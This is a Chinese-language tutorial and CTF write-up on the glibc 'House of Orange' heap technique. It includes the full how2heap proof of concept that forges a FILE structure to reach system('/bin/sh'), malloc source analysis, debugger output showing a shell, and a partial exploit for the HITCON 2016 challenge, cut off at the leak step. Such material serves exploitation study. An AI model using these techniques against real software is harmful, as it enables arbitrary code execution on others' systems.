简介
简介部分来自参考资料[0],所有malloc流程性内容全部参考源码进行分析
漏洞成因
overflow write
适用范围
2.23
——2.26
- 没有
free
- 可以
unsortedbin attack
利用原理
house of orange
可以说是开启了堆与 IO
组合利用的先河,是非常经典、漂亮、精彩的利用组合技。利用过程还要结合 top_chunk
的性质,利用过程如下:
stage1
- 申请
chunk A
,假设此时的top_chunk
的size
为0xWXYZ
- 写
A
,溢出修改top_chunk
的size
为0xXYZ
(需要满足页对齐的检测条件) - 申请一个大于
0xXYZ
大小的chunk
,此时top_chunk
会进行grow
,并将原来的old top_chunk
释放进入unsortedbin
stage2
- 溢出写
A
,修改处于unsortedbin
中的old top_chunk
,修改其size
为0x61
,其bk
为&_IO_list_all-0x10
,同时伪造好IO_FILE
结构 - 申请非
0x60
大小的chunk
的时候,首先触发unsortedbin attack
,将_IO_list_all
修改为main_arena+88
,然后unsortedbin chunk
会进入到smallbin
,大小为0x60
;接着遍历unsortedbin
的时候触发了malloc_printerr
,然后调用链为:malloc_printerr -> libc_message -> abort -> _IO_flush_all_lockp
,调用到伪造的vtable
里面的函数指针
相关技巧
- 在
glibc-2.24
后加入了vtable
的check
,不能任意地址伪造vatble
了,但是可以利用IO_str_jumps
结构进行利用。 - 在
glibc-2.26
后,malloc_printerr
不再刷新IO
流了,所以该方法失效 - 由于
_mode
的正负性是随机的,影响判断条件,大概有1/2
的概率会利用失败,多试几次就好
利用效果
- 任意函数执行
- 任意命令执行
实验:how2heap - house of orange
实验环境:libc 2.23
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/
/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int winner ( char *ptr);
int main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.
At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page
If the size requested is smaller than 0x21000, then the former is followed.
*/
char *p1, *p2;
size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/*
Firstly, lets allocate a chunk on the heap.
*/
p1 = malloc(0x400-16);
/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.
The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.
Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.
So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01
Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.
In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end
And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.
In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.
After the size of the Top chunk has been updated, this chunk gets freed.
In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end
In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free
Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end
*/
p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end
Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins
Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)
The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.
The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.
The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/
io_list_all = top[2] + 0x9a8;
/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.
When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.
Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.
Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/
top[3] = io_list_all - 0x10;
/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
memcpy( ( char *) top, "/bin/sh\x00", 8);
/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.
In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/
top[1] = 0x61;
/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813
We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/
FILE *fp = (FILE *) top;
/*
1. Set mode to 0: fp->_mode <= 0
*/
fp->_mode = 0; // top+0xc0
/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/
return 0;
}
int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}
stage1:通过 top grow 获得 unsortedbin chunk
首先第一件事是申请一个chunk(0x400),然后模拟溢出,修改top chunk为很小的值
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc00 (with flag bits: 0xc01)
top chunk 通常大小是 0x21000 字节大小,边界是页对齐的,所以修改top chunk size的时候也要注意页对齐,需要满足的条件:
- top chunk + size 是页对齐
- top chunk's prev_inuse 位被设置
当下一次申请内存的时候,top chunk不够切割的了,就会触发grow机制(后面介绍grow是过程)
grow的结果是对当前top chunk进行一次_int_free
的调用,且创建新的top chunk
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
smallbins
empty
largebins
empty
pwndbg> top_chunk
Top chunk | PREV_INUSE
Addr: 0x624010
Size: 0x20ff0 (with flag bits: 0x20ff1)
top chunk grow 的过程
触发函数是sysmalloc:
当top chunk大小不够了,就会调用sysmalloc进行处理
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}
该函数里首先检查大小是否达到了需要使用mmap来申请内存的范围mp_.mmap_threshold
大小够了就通过mmap来分配内存
否则就进入gorw的过程:此处是使用main arena的情况,正常会进入如下流程:
首先是一个安全检查:
- top chunk size >= 0x10 (MINSIZE),不能太小
- top chunk 需要有prev_inuse 标志
- top chunk + top size 大小小于一个页面(0x1000字节),且页对齐
意味着需要top chunk的大小小于0x1000,还要计算结尾是页面对齐的
另一个检查是:申请大小超过top size
// 安全检查:需要old_size至少是MINSIZE,并且有prev_inuse设置
// 需要old top满足要求,大小正常,标志位正常
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
// 没有足够的空间用于申请分配内存
assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
然后是:
// 正常情况下调用MORECORE处理size
if (size > 0) // 大小不离谱的话,进入
{
// brk是堆空间结束地址,调用MORECORE去扩展结束地址指定大小
brk = (char *)(MORECORE(size)); // 扩展堆地址
if (brk != (char *)(MORECORE_FAILURE))
// 处理巨型透明页相关
madvise_thp(brk, size);
LIBC_PROBE(memory_sbrk_more, 2, brk, size);
}
这里会扩展堆内存的结束位置,后续计算内存对齐的时候还会调用一次MORECORE
扩展失败会尝试mmap再次进行,扩展成功之后:会设置新的top chunk,然后把原本的top chunk给释放掉
/* Adjust top based on results of second sbrk */
// 基于第二次sbrk的结果调整 top
if (snd_brk != (char *)(MORECORE_FAILURE))
{
// 设置top 指针
av->top = (mchunkptr)aligned_brk;
// 设置top hdr
set_head(av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
// 设置新的系统内存
av->system_mem += correction;
/*
If not the first time through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are in any case too small to use. We need
two to make sizes and alignments work out.
*/
// 如果old size还有值,没用光,就释放掉old top
if (old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
// 收缩old top
old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK;
set_head(old_top, old_size | PREV_INUSE);
/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
// 设置old top 的next chunk为合适的值,用于后续进行释放top chunk的操作
set_head(chunk_at_offset(old_top, old_size),
CHUNK_HDR_SZ | PREV_INUSE);
set_head(chunk_at_offset(old_top,
old_size + CHUNK_HDR_SZ),
CHUNK_HDR_SZ | PREV_INUSE);
/* If possible, release the rest. */
// old size,就释放掉old top
if (old_size >= MINSIZE)
{
// 释放old top
_int_free(av, old_top, 1);
}
}
}
最后就是常规的分割top chunk然后分配了:
// 如果更新后的系统内存大于av原本的最大,就设置当前为最大值
if ((unsigned long)av->system_mem > (unsigned long)(av->max_system_mem))
av->max_system_mem = av->system_mem;
check_malloc_state(av);
/* finally, do the allocation */
// 进行申请内存操作,此时已经扩展好了top chunk
p = av->top;
size = chunksize(p);
/* check that one of the above allocation paths succeeded */
// 扩展后的top大小应该超过申请内存的大小
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
// 切割top chunk,分配内存
remainder_size = size - nb;
remainder = chunk_at_offset(p, nb);
av->top = remainder;
set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, p, nb);
return chunk2mem(p);
}
/* catch all failure paths */
__set_errno(ENOMEM);
return 0;
}
stage2:unsortedbin attack 劫持 _IO_list_all
修改unsortedbin的bk为_IO_list_all-0x10:
pwndbg> x/g 0x7ffff7fcc520
0x7ffff7fcc520 <__GI__IO_list_all>: 0x00007ffff7fcc540
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x602400 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x602400
BK: 0x602400 —▸ 0x7ffff7fcc510 ◂— 0x0
smallbins
empty
largebins
empty
接下来构造_IO_list_all
结构:本例是在内存中直接伪造结构,将目标指针修改成了堆中,在堆中伪造结构
伪造的要点:
- file->_mode <= 0
- file->_IO_write_base < file->_IO_write_ptr
- jump_table[3] = 目标执行的函数
pwndbg> dt "struct _IO_FILE_plus" 0x602400
struct _IO_FILE_plus @ 0x602400
+0x0000 file : {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7fcbb78 <main_arena+88> "\020@b",
_IO_read_base = 0x7ffff7fcc510 "",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196319,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
}
+0x00d8 vtable : 0x602460
最后申请随便一个大小的chunk,让unsortedbin触发断链,然后异常崩溃退出的时候调用_IO_file_list里的jump_table的函数
root@80a2cd56d41b:~/selph# ./house_of_orange.bak
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./house_of_orange.bak': malloc(): memory corruption: 0x00007fa8e8eb0520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7fa8e8b627f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7fa8e8b6d15e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa8e8b6f1d4]
./house_of_orange.bak[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa8e8b0b840]
./house_of_orange.bak[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:20 13067 /root/selph/house_of_orange.bak
00600000-00601000 r--p 00000000 08:20 13067 /root/selph/house_of_orange.bak
00601000-00602000 rw-p 00001000 08:20 13067 /root/selph/house_of_orange.bak
02114000-02157000 rw-p 00000000 00:00 0 [heap]
7fa8e4000000-7fa8e4021000 rw-p 00000000 00:00 0
7fa8e4021000-7fa8e8000000 ---p 00000000 00:00 0
7fa8e88d5000-7fa8e88eb000 r-xp 00000000 08:40 1029 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e88eb000-7fa8e8aea000 ---p 00016000 08:40 1029 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e8aea000-7fa8e8aeb000 rw-p 00015000 08:40 1029 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fa8e8aeb000-7fa8e8cab000 r-xp 00000000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8cab000-7fa8e8eab000 ---p 001c0000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eab000-7fa8e8eaf000 r--p 001c0000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eaf000-7fa8e8eb1000 rw-p 001c4000 08:40 1008 /lib/x86_64-linux-gnu/libc-2.23.so
7fa8e8eb1000-7fa8e8eb5000 rw-p 00000000 00:00 0
7fa8e8eb5000-7fa8e8edb000 r-xp 00000000 08:40 988 /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90d4000-7fa8e90d7000 rw-p 00000000 00:00 0
7fa8e90d9000-7fa8e90da000 rw-p 00000000 00:00 0
7fa8e90da000-7fa8e90db000 r--p 00025000 08:40 988 /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90db000-7fa8e90dc000 rw-p 00026000 08:40 988 /lib/x86_64-linux-gnu/ld-2.23.so
7fa8e90dc000-7fa8e90dd000 rw-p 00000000 00:00 0
7ffd1ebe7000-7ffd1ec08000 rw-p 00000000 00:00 0 [stack]
7ffd1ec52000-7ffd1ec56000 r--p 00000000 00:00 0 [vvar]
7ffd1ec56000-7ffd1ec58000 r-xp 00000000 00:00 0 [vdso]
# w
07:55:08 up 5:37, 0 users, load average: 0.30, 0.08, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
FSOP:_IO_file_list 中的函数是怎么被执行的?
2.24 开始把vtable指针设置成了只读,且会检查vtable调用的指针是否在vtable所在段,以至于该方法在2.24中失效
本段内容来自ctf wiki[5]
FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。
FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
触发_IO_flush_all_lockp的条件是:
- 当 libc 执行 abort 流程时
- 当执行 exit 函数时
- 当执行流从 main 函数返回时
执行_IO_OVERFLOW的条件是:
- fp->_mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
其中,_IO_list_all 是libc的全局变量,泄露libc地址即可拿到该指针所在地址
利用FSOP需要做的是:
- 泄露libc地址,
- 伪造_IO_list_all结构,覆盖其overflow指针为目标函数
- 覆盖_IO_list_all指针为可控地址
- 触发程序错误或退出程序
伪造结构:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
实验: hitconctf2016 - houseoforange
还有很多重要的细节,在接下来的实例中进行分析
题目分析:
菜单题:
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice :
首先是选项1:
int sub_D37()
{
unsigned int houseCount; // [rsp+8h] [rbp-18h]
int color; // [rsp+Ch] [rbp-14h]
void *house; // [rsp+10h] [rbp-10h]
_DWORD *orange; // [rsp+18h] [rbp-8h]
if ( count > 3u )
{
puts("Too many house");
exit(1);
}
house = malloc(0x10uLL); // 第一次 malloc,大小固定0x10
printf("Length of name :");
houseCount = convertStringToInt();
if ( houseCount > 0x1000 )
houseCount = 4096; // 最大 0x1000
*((_QWORD *)house + 1) = malloc(houseCount); // 第二次 malloc,大小自定
if ( !*((_QWORD *)house + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
call_read(*((void **)house + 1), houseCount);
orange = calloc(1uLL, 8uLL); // 第三次 calloc,大小固定0x8
printf("Price of Orange:");
*orange = convertStringToInt(); // 输入一个整数,可以很长
color_menu();
printf("Color of Orange:");
color = convertStringToInt();
if ( color != 56746 && (color <= 0 || color > 7) )
{
puts("No such color");
exit(1);
}
if ( color == 56746 )
orange[1] = 56746;
else
orange[1] = color + 0x1E;
*(_QWORD *)house = orange;
g_house = house;
++count;
return puts("Finish");
}
主要就2个点:
- 该选项最多用4次
- 每次使用会申请3个chunk,其中第1和第3个大小固定,第二个可选
然后是选项2:
int show()
{
int temp; // eax
int random_num; // eax
if ( !g_house )
return puts("No such house !");
if ( *(_DWORD *)(*g_house + 4LL) == 56746 )
{
printf("Name of house : %s\n", (const char *)g_house[1]);// 显示信息
printf("Price of orange : %d\n", *(unsigned int *)*g_house);// 显示信息
temp = rand();
return printf("\x1B[01;38;5;214m%s\x1B[0m\n", *((const char **)&unk_203080 + temp % 8));
}
else
{
if ( *(int *)(*g_house + 4LL) <= 30 || *(int *)(*g_house + 4LL) > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", (const char *)g_house[1]);
printf("Price of orange : %d\n", *(unsigned int *)*g_house);
random_num = rand();
return printf(
"\x1B[%dm%s\x1B[0m\n",
*(unsigned int *)(*g_house + 4LL),
*((const char **)&unk_203080 + random_num % 8));
}
}
这个就是用来显示信息的
选项3:
int edit()
{
_DWORD *v1; // rbx
unsigned int size; // [rsp+8h] [rbp-18h]
int v3; // [rsp+Ch] [rbp-14h]
if ( unk_203074 > 2u )
return puts("You can't upgrade more");
if ( !g_house )
return puts("No such house !");
printf("Length of name :");
size = convertStringToInt();
if ( size > 0x1000 )
size = 4096;
printf("Name:");
call_read((void *)g_house[1], size); // overflow write
// 使用用户输入的大小向已经创建好的chunk写入数据,堆溢出写
printf("Price of Orange: ");
v1 = (_DWORD *)*g_house;
*v1 = convertStringToInt();
color_menu();
printf("Color of Orange: ");
v3 = convertStringToInt();
if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(_DWORD *)(*g_house + 4LL) = 0xDDAA;
else
*(_DWORD *)(*g_house + 4LL) = v3 + 30;
++unk_203074;
return puts("Finish");
}
主要一个点:堆溢出写
整理当前情况:
-
程序没有free功能
-
总共可以执行4次创建(分配内存),每次分配3个chunk
- 第一个chunk记录后两个chunk的地址
- 第二个的大小可控,内容可控
- 第三个记录一些无关紧要的数据
-
编辑功能存在堆溢出,可以溢出大小可控的那个chunk
在没有free的情况下可以用house of orange创造一个unsortedbin;完成house of orange的利用还需要libc leak 和 heap leak的配合
house of orange:stage1 - 获取 unsortedbin chunk
思路是:
- 正常进行第一次申请,通过编辑,造成堆溢出把top chunk改小
- 正常进行第二次申请,申请大小超过top chunk大小,触发grow机制,产生unsortedbin chunk
size1 = 0x308
add(size1,'a',0x400,1)
edit(size1+0x28,flat({
size1:pack(0x21),
size1+0x20:pack(0x1000 - 0x20 -0x20 - (size1+0x8) + 1)
}),0x400,1)
# alloc a chunk size > top size
# trigger top grow
add(0x1000,'a',123,1)
堆布局:
0x55a83df5e310 0x6861616b6861616a 0x6861616d6861616c jaahkaahlaahmaah
0x55a83df5e320 0x6861616f6861616e 0x6861617168616170 naahoaahpaahqaah
0x55a83df5e330 0x6861617368616172 0x0000000000000021 raahsaah!....... chunk 1
0x55a83df5e340 0x0000001f00000400 0x6861617968616178 ........xaahyaah chunk 2 around new top chunk
0x55a83df5e350 0x696161626961617a 0x0000000000000021 zaaibaai!....... chunk 3
0x55a83df5e360 0x000055a83df5e380 0x000055a83df7f010 ...=.U.....=.U..
0x55a83df5e370 0x0000000000000000 0x0000000000000021 ........!.......
0x55a83df5e380 0x0000001f0000007b 0x0000000000000000 {...............
0x55a83df5e390 0x0000000000000000 0x0000000000000c51 ........Q....... <-- unsortedbin[all][0]
0x55a83df5e3a0 0x00007f2bd5beeb78 0x00007f2bd5beeb78 x...+...x...+...
0x55a83df5e3b0 0x0000000000000000 0x0000000000000000 ................
0x55a83df5e3c0 0x0000000000000000 0x0000000000000000 ................
如何从unsortedbin chunk中一次性拿到heap leak和libc leak?
接下来有个细节:第三次申请需要大小为largebin size且大小不等于unsortedbin chunk size!
从这个unsortedbin chunk中申请内存,不会直接触发remainder来切割,而是跳过了这个部分走后续的流程:
- 把unsortedbin chunk装入largebin
- 从largebin中取出进行切割分配
- 把切剩下的部分装回unsortedbin
只有largebin size的申请才会走这个流程,chunk才有指向堆地址的nextsize指针,所以需要申请一个largebin size!
当申请0x300的时候,堆:
0x55bd81c63390 0x0000000000000000 0x0000000000000021 ........!....... 0x55bd81c633a0 0x000055bd81c636d0 0x000055bd81c633c0 .6...U...3...U.. 0x55bd81c633b0 0x0000000000000000 0x0000000000000311 ................ 0x55bd81c633c0 0x6262626262626262 0x00007f85e3c34b78 bbbbbbbbxK...... 0x55bd81c633d0 0x0000000000000000 0x0000000000000000 ................
当申请0x500的时候,堆:
0x55f95d0c3390 0x0000000000000000 0x0000000000000021 ........!.......
0x55f95d0c33a0 0x000055f95d0c38d0 0x000055f95d0c33c0 .8.].U...3.].U..
0x55f95d0c33b0 0x0000000000000000 0x0000000000000511 ................
0x55f95d0c33c0 0x6262626262626262 0x00007f4f97d04168 bbbbbbbbhA..O...
0x55f95d0c33d0 0x000055f95d0c33b0 0x000055f95d0c33b0 .3.].U...3.].U..
通过填充该内存的垃圾数据来完成libc leak
和heap leak
leak = show()[8:]
leak = unpack(leak,'all')
